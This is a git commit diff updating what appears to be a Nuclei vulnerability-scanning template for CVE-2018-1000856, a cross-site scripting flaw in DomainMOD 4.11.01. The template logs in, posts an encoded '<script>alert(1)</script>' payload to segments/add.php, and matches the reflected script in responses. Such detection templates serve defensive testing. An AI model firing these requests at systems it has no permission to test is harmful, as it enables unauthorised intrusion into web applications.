Update CVE-2018-1000856.yaml

patch-1
Ritik Chaddha 2022-07-12 13:36:18 +05:30 committed by GitHub
parent be47b2b591
commit 28728ed581
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 19 deletions

View File

@ -1,55 +1,49 @@
id: CVE-2018-1000856
info:
name: DomainMOD 4.11.01 - 'segments/add.php' Cross-Site Scripting
name: DomainMOD 4.11.01 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via segments/add.php Segment Name field.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000856
- https://github.com/domainmod/domainmod/issues/80
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000856
metadata:
verified: true
tags: domainmod,xss
tags: cve,cve2018,domainmod,xss
requests:
- raw:
- |
POST /domain/ HTTP/1.1
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_username=admin&new_password=admin123
new_username={{username}}&new_password={{password}}
- |
POST /domain/segments/add.php HTTP/1.1
Host: {{Hostname}}
POST /segments/add.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: https://{{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
new_username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&raw_domain_list=test.com&new_description=test&new_notes=test
- |
GET domain//segments HTTP/1.1
Host: {{Hostname}}
GET /segments HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
cookie-reuse: true
matchers-condition: and
redirects: true
max-redirects: 3
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(1)</script>"
- "<script>alert(123)</script></a>"
- type: word
part: header